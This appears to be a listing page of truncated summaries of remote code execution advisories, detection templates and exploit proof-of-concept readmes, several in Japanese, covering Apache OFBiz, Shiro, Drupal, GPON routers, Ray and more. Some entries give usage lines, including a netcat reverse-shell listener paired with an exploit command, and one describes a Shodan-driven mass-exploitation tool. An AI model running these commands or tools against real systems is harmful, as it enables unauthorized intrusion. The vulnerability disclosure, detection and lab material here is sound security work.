Apache Tapestry - Remote Code Execution

Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the...

Apache OFBiz Directory Traversal - Remote Code Execution

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13 id: CVE-2024-32113 info: name: Apache OFBiz Directory Traversal - Remote Code Execution author: DhiyaneshDK severity: high description: |...

Primetek Primefaces 5.x - Remote Code Execution

Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution. id: CVE-2017-1000486 info: name: Primetek Primefaces 5.x - Remote Code Execution author: Moritz Nentwig severity: critical description: Primetek Primefaces 5.x is vulnerable to a weak encryption fl...

NUUO NVR camera `debugging_center_utils_.php` - Command Execution

debuggingcenterutils.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter. id: CVE-2016-5674 info: name: NUUO NVR camera debuggingcenterutils.p...

SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE

SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass CVE-2025-40536, remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to...

Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter. id: CVE-2016-4437 info: name: Apache Shiro 1.2.4 Cookie RememberME -...

Apache OFBiz - Remote Code Execution

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server id: CVE-2024-45507 info: name: Apache OFBiz -...

Atlassian Confluence Download Attachments - Remote Code Execution

Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this pat...

Drupal - Remote Code Execution

Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases. id: CVE-2019-6340 info: name: Drupal - Remote Code Execution author: madrobot severity:...

Pingpon-Exploit

PINGPON EXPLOIT 著者: @037 Pingponは、Shodan.ioを使用して数千の脆弱なGPONホームルーターを取得し、リモートコード実行の脆弱性（CVE-2018-10562）を利用して任意のLinuxコマンドを実行するためのツールです。 免責事項 私は、このツールの使用によって引き起こされた損害や行われた犯罪について一切の責任を負いません。 元のスクリプト: github.com/f3d0x0/GPON 前提条件 Python 3.x をインストールする必要があります root@kitploit: apt-get install python3 また、Shodan...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

カスタムエクスプロイト : Foxit Reader バージョン 9.0.1.1049 ヒープ上でASLRおよびDEPバイパスを伴うUse After Free マイカスタムエクスプロイト : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Win 7用カスタムエクスプロイト シェルコード用のスペースを確保 カスタムROPチェーンがヒープ内にシェルコード用のスペースを確保 Win 7用...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマに影響します 説明: CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマ バージョン 4.9.7.6 まで に影響し、信頼できないデータのデシリアライゼーション CWE-502 に関連しています。これにより、攻撃者が悪意のあるオブジェクトをサーバーに送信し、リモートコード実行につながる可能性があります。CVSS v3.1 の評価では、スコアは 7.5 高...

CVE-2023-43284

CVE-2023-43284 DLink Model DIR-846 認証済みリモートコード実行。 この脆弱性は、ルーターのQoS POSTパラメータを悪用して、認証済みリモートコード実行を引き起こします。QoSが有効である必要はありません！ root@kitploit: -h, --help show this help message and exit -x , --command Command to be executed Default: id -p , --password Password from router. -i , --ip IP from router...

CVE-2023-6019

Ray OS コマンドインジェクション RCE（認証不要） 使用方法: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress = 4.9.8（検証済み） WordPress = 5.0.0 テスト環境 Docker イメージ docker pull avfisherdocker/wordpress:4.9.8 docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8 Mysql & WordPress 情報...

CVE-2019-18426

WhatsApp脆弱性開示 - オープンリダイレクト + CSPバイパス + 永続的XSS + FS読み取り権限 + RCEの可能性 CVE-2019-18426 技術記事 脆弱性開示の原文書 デモ動画！...

CVE-2022-30075

CVE-2022-30075 Tp-Linkルーターにおける認証済みリモートコード実行 影響を受けるデバイス お使いのTp-Linkルーターにバックアップと復元機能があり、ファームウェアが2022年6月より古い場合、脆弱性の影響を受ける可能性があります。 テスト済みデバイス Tp-Link Archer AX50。他のtplinkルーターではバックアップの形式が異なる場合があり、エクスプロイトの修正が必要になることがあります。 PoC ルーター上でtelnetデーモンを起動するためのエクスプロイトを使用 手動による悪用 1. ルーターのWebインターフェースにログイン 2. advanc...

CVE-2019-11447

CVE-2019-11447 - PoC CuteNews 2.1.2 のアバター画像アップロード時の不十分なファイルアップロードチェックを悪用し、RCE（リモートコード実行）につながります。 インストール リポジトリをクローンし、必要なパッケージをインストールします。 pip install -r requirements.txt 使用方法 アバターをアップロードするには、CuteNewsのユーザーアカウントが必要です。管理者アカウントである必要はありません。 CVE-2019-11447.py URL USERNAME PASSWORD 例： CVE-2019-11447.py...

pwn-hisilicon-dvr

= HiSilicon DVR ハック Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract このレポートは、HiSilicon hi3520d および類似のシステムオンチップ SoC を使用して構築された DVR/NVR デバイスの深刻な脆弱性（概念実証 PoC コード付き）を開示します。これらの脆弱性を悪用すると、Web...

CyberSecurity-Pentest-Lab

Distcc 3.2.1 — リモートコード実行 CVE-2004-2687 ペネトレーションテストラボ: 分離されたラボ環境 攻撃側は Kali Linux で Metasploitable 2 に対して実施した、Distcc 3.2.1 における認証不要の RCE 脆弱性の特定、悪用、および修復。 学術/教育目的の演習。すべての IP はラボのプライベートアドレス RFC1918。 概要 | ---|--- 対象| Metasploitable 2 Linux ラボ IP| 192.168.91.129 サービス| Distcc 3.2.1 ポート| 3632/TCP CVE|...